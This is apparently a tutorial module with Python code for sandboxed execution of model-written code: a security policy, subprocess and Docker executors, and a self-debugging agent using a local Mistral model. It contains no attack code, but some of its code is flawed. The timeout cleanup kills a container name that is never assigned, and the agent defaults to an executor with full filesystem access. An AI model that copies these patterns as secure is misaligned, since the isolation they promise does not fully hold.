M15: Code Execution & Sandbox

pip install e2b-code-interpreter

from dataclasses import dataclass, field

@dataclass
class SecurityPolicy:
    """All configurable security limits for one code execution."""
    # === WHAT: Hard cap on wall-clock seconds the process may run.
    # WHY: Prevents infinite loops from hanging your agent forever.
    # GOTCHA: Set this shorter than your HTTP timeout so you get a
    #         clean TimeoutError instead of a gateway 504.
    timeout_seconds: int = 10

    # === WHAT: Max bytes the process may allocate on the heap.
    # WHY: Prevents memory bombs from killing the host process.
    # GOTCHA: resource.setrlimit is Linux/macOS only.
    #         On Windows use Docker --memory= instead.
    max_memory_bytes: int = 128 * 1024 * 1024  # 128 MB

    # === WHAT: Docker CPU share (fraction of one core).
    # WHY: Prevents one sandbox from starving other containers.
    # GOTCHA: Values above 1.0 span multiple cores.
    max_cpus: float = 0.5

    # === WHAT: Whether to block all network I/O.
    # WHY: Prevents code from exfiltrating secrets or calling home.
    # GOTCHA: If code needs to fetch a URL (e.g., for scraping),
    #         set to False and use an egress proxy with allowlists.
    network_disabled: bool = True

    # === WHAT: Whether the container root filesystem is read-only.
    # WHY: Prevents writing outside the /workspace scratch dir.
    readonly_filesystem: bool = True

    # === WHAT: Docker image to run code in.
    # WHY: Pins the Python version and available packages.
    # GOTCHA: Always use a specific tag, never :latest.
    docker_image: str = "python:3.12-alpine"

    # === WHAT: Packages pre-installed in the container.
    # WHY: Alpine has no pip packages by default; list what you need.
    allowed_packages: list = field(default_factory=lambda: ["pandas", "numpy"])

# === WHAT: Tool schema passed to Ollama/Mistral via the OpenAI SDK.
# WHY: The model uses the description to decide when to call this
#      tool and the parameter schema to know what to send.
# GOTCHA: Keep the description concrete. "Runs Python" is vague.
#         Tell the model what it gets back (stdout, stderr, exit code).

EXECUTE_PYTHON_TOOL = {
    "type": "function",
    "function": {
        "name": "execute_python",
        "description": (
            "Run Python code in a sandboxed environment. "
            "Returns stdout (the printed output), stderr (any errors), "
            "and exit_code (0 = success, non-zero = failure). "
            "Use this for math, data analysis, file I/O, and any task "
            "that requires deterministic computation."
        ),
        "parameters": {
            "type": "object",
            "properties": {
                "code": {
                    "type": "string",
                    "description": "Complete Python source code to execute.",
                },
                "timeout_seconds": {
                    "type": "integer",
                    "description": "Max seconds before the execution is killed. Default: 10.",
                    "default": 10,
                },
            },
            "required": ["code"],
        },
    },
}

import subprocess
import sys
import tempfile
import os
from dataclasses import dataclass

@dataclass
class ExecResult:
    stdout: str
    stderr: str
    exit_code: int

    def to_tool_content(self) -> str:
        """Format the result as a concise tool message for the model."""
        lines = [f"exit_code: {self.exit_code}"]
        if self.stdout:
            lines.append(f"stdout:\n{self.stdout.strip()}")
        if self.stderr:
            lines.append(f"stderr:\n{self.stderr.strip()}")
        return "\n".join(lines)


class SubprocessExecutor:
    """
    === WHAT: Runs Python code in a child process.
    === WHY: Zero Docker overhead; ideal for dev/trusted code.
    === GOTCHA: Full filesystem access. Don't use for user input.
    """

    def __init__(self, policy: "SecurityPolicy | None" = None):
        from dataclasses import dataclass, field

        if policy is None:
            # Use a safe default
            @dataclass
            class _Policy:
                timeout_seconds: int = 10
                max_memory_bytes: int = 128 * 1024 * 1024
            policy = _Policy()
        self.policy = policy

    def run(self, code: str, timeout: int | None = None) -> ExecResult:
        timeout = timeout or self.policy.timeout_seconds

        # === CHUNK 2: Write code to a temp file.
        # WHY: exec(code) in-process would pollute our namespace.
        #      A temp file gives the child its own scope.
        # GOTCHA: delete=False so the child can open it after we close it.
        with tempfile.NamedTemporaryFile(
            mode="w", suffix=".py", delete=False, encoding="utf-8"
        ) as f:
            f.write(code)
            tmp_path = f.name

        try:
            # === CHUNK 3: Launch child process.
            # WHY: shell=False prevents shell-injection attacks.
            # GOTCHA: On Linux, add preexec_fn=set_limits() to apply
            #         resource.setrlimit for CPU/memory limits.
            result = subprocess.run(
                [sys.executable, tmp_path],
                capture_output=True,
                text=True,
                timeout=timeout,
                shell=False,    # CRITICAL: never True
            )
            return ExecResult(
                stdout=result.stdout,
                stderr=result.stderr,
                exit_code=result.returncode,
            )
        except subprocess.TimeoutExpired:
            return ExecResult(
                stdout="",
                stderr=f"Execution timed out after {timeout} seconds.",
                exit_code=124,  # same convention as bash timeout(1)
            )
        except Exception as e:
            return ExecResult(stdout="", stderr=str(e), exit_code=1)
        finally:
            # Clean up the temp file regardless of outcome.
            os.unlink(tmp_path)

import subprocess
import tempfile
import os
import uuid
from pathlib import Path


class DockerExecutor:
    """
    === WHAT: Runs Python code inside an ephemeral Docker container.
    === WHY: Full OS-level isolation; safe for untrusted/user-provided code.
    === GOTCHA: Requires Docker to be running. First execution may be slow
                while the image is pulled (~30 s for python:3.12-alpine).
                Subsequent runs reuse the cached image (~1–2 s cold start).
    """

    def __init__(self, policy: "SecurityPolicy | None" = None):
        from dataclasses import dataclass, field

        if policy is None:
            @dataclass
            class _P:
                timeout_seconds: int = 10
                max_memory_bytes: int = 128 * 1024 * 1024
                max_cpus: float = 0.5
                network_disabled: bool = True
                readonly_filesystem: bool = True
                docker_image: str = "python:3.12-alpine"
                allowed_packages: list = field(default_factory=lambda: ["pandas", "numpy"])
            policy = _P()
        self.policy = policy
        self._pre_build_image()

    def _pre_build_image(self):
        """
        === WHAT: Pre-install required packages into a custom image once.
        === WHY: Installing packages at runtime (pip install inside the run
                 command) adds 10–30 s per execution. Build once, reuse many.
        === GOTCHA: This builds a local image tagged 'sandbox-agent:latest'.
                    Re-run if you change allowed_packages.
        """
        if not self.policy.allowed_packages:
            return
        pkgs = " ".join(self.policy.allowed_packages)
        dockerfile = f"""FROM {self.policy.docker_image}
RUN pip install --no-cache-dir {pkgs}
WORKDIR /workspace
"""
        with tempfile.TemporaryDirectory() as ctx:
            df_path = Path(ctx) / "Dockerfile"
            df_path.write_text(dockerfile)
            subprocess.run(
                ["docker", "build", "-t", "sandbox-agent:latest", ctx],
                check=True,
                capture_output=True,
            )

    def run(self, code: str, timeout: int | None = None) -> "ExecResult":
        timeout = timeout or self.policy.timeout_seconds
        run_id = uuid.uuid4().hex[:8]

        # === CHUNK 1: Write code to a host temp directory.
        # WHY: We'll mount this directory into the container as /workspace.
        # GOTCHA: Use a unique sub-dir per call so parallel runs don't clash.
        host_dir = Path(tempfile.mkdtemp(prefix=f"sandbox_{run_id}_"))
        code_file = host_dir / "code.py"
        code_file.write_text(code, encoding="utf-8")

        try:
            # === CHUNK 2: Build the docker run command with all security flags.
            # WHY: Each flag maps directly to one of our SecurityPolicy fields.
            # GOTCHA: --rm removes the container after exit automatically.
            cmd = [
                "docker", "run", "--rm",
                f"--memory={self.policy.max_memory_bytes}",
                f"--cpus={self.policy.max_cpus}",
                f"--volume={host_dir}:/workspace:rw",
                "--workdir=/workspace",
            ]
            if self.policy.network_disabled:
                cmd.append("--network=none")
            if self.policy.readonly_filesystem:
                cmd.append("--read-only")
                cmd.extend(["--tmpfs=/tmp"])    # allow /tmp writes for stdlib

            cmd += ["sandbox-agent:latest", "python", "/workspace/code.py"]

            # === CHUNK 3: Run the container and capture output.
            # WHY: timeout here is the wall-clock limit for the whole container.
            # GOTCHA: If Docker itself fails to start, CalledProcessError is
            #         raised before the user code even runs — check stderr first.
            result = subprocess.run(
                cmd,
                capture_output=True,
                text=True,
                timeout=timeout + 5,    # give Docker 5 s overhead on top
            )
            return ExecResult(
                stdout=result.stdout,
                stderr=result.stderr,
                exit_code=result.returncode,
            )
        except subprocess.TimeoutExpired:
            # Kill any leftover container matching our run_id label.
            subprocess.run(
                ["docker", "kill", f"sandbox_{run_id}"],
                capture_output=True
            )
            return ExecResult(
                stdout="",
                stderr=f"Docker execution timed out after {timeout}s.",
                exit_code=124,
            )
        except FileNotFoundError:
            return ExecResult(
                stdout="",
                stderr="Docker not found. Is Docker Desktop running?",
                exit_code=127,
            )
        except Exception as e:
            return ExecResult(stdout="", stderr=str(e), exit_code=1)
        finally:
            import shutil
            shutil.rmtree(host_dir, ignore_errors=True)

import json
from openai import OpenAI

# === WHAT: OpenAI SDK pointed at local Ollama.
# WHY: Mistral's API surface is identical to OpenAI's when served
#      by Ollama, so we reuse the well-supported openai library.
# GOTCHA: api_key can be any non-empty string; Ollama ignores it.
client = OpenAI(
    base_url="http://localhost:11434/v1",
    api_key="ollama",
)

class CodeExecutionAgent:
    """
    ReAct-style agent that writes Python code, runs it, and
    self-debugs up to max_retries times on failure.
    """

    def __init__(
        self,
        executor=None,
        model: str = "mistral-nemo",
        max_retries: int = 3,
    ):
        # === CHUNK 2: Executor defaults to SubprocessExecutor for dev.
        # WHY: Let callers inject DockerExecutor for production without
        #      changing this class.
        self.executor = executor or SubprocessExecutor()
        self.model = model
        self.max_retries = max_retries
        self.system_prompt = (
            "You are a data analysis assistant. When asked to compute "
            "something, write complete Python code and call execute_python. "
            "Always import every module you use. Print your final answer "
            "so it appears in stdout. If you receive an error, read it "
            "carefully, fix the code, and call execute_python again."
        )

    def run(self, user_request: str) -> str:
        """Run the agent, return the final answer string."""
        messages = [
            {"role": "system", "content": self.system_prompt},
            {"role": "user",   "content": user_request},
        ]

        for attempt in range(self.max_retries + 1):
            # === CHUNK 3: Call the model with the tool definition.
            # WHY: tool_choice="auto" lets the model decide whether to
            #      call a tool or respond directly.
            # GOTCHA: Some Ollama builds drop tool_choice silently.
            #         Always check response.choices[0].message.tool_calls.
            response = client.chat.completions.create(
                model=self.model,
                messages=messages,
                tools=[EXECUTE_PYTHON_TOOL],
                tool_choice="auto",
                temperature=0.1,   # low temp = more deterministic code
            )

            msg = response.choices[0].message

            # If the model decided to answer directly (no tool call),
            # return its text content.
            if not msg.tool_calls:
                return msg.content or "(no output)"

            # === CHUNK 4: Execute every tool call the model requested.
            # WHY: The model may request multiple tool calls (rare but
            #      possible). Handle all of them.
            # GOTCHA: Always append the assistant message FIRST, then
            #         the tool result messages. Order matters.
            messages.append(msg)  # assistant message with tool_calls

            tool_results = []
            for tc in msg.tool_calls:
                args = json.loads(tc.function.arguments)
                code = args["code"]
                timeout = args.get("timeout_seconds", 10)

                result = self.executor.run(code, timeout)
                content = result.to_tool_content()

                tool_results.append({
                    "role": "tool",
                    "tool_call_id": tc.id,
                    "content": content,
                })

            messages.extend(tool_results)

            # === CHUNK 5: Check if all tools succeeded.
            # WHY: If any tool returned a non-zero exit_code, let
            #      the loop continue so the model can retry.
            # GOTCHA: We check the last ExecResult only; in practice
            #         you'd check all of them.
            if result.exit_code == 0:
                # Next model call will see the successful tool output
                # and formulate its final answer.
                continue

            # All retries exhausted — return the last error.
            if attempt == self.max_retries:
                return (
                    f"Failed after {self.max_retries} attempts.\n"
                    f"Last error:\n{result.stderr}"
                )

        # The loop fell through without a non-tool final answer;
        # ask the model for a summary now.
        response = client.chat.completions.create(
            model=self.model,
            messages=messages,
            temperature=0.1,
        )
        return response.choices[0].message.content or "(no output)"


# ---- Quick smoke test ----
if __name__ == "__main__":
    agent = CodeExecutionAgent()
    answer = agent.run("What is 3.7 to the power of 12? Show your work.")
    print("Agent answer:", answer)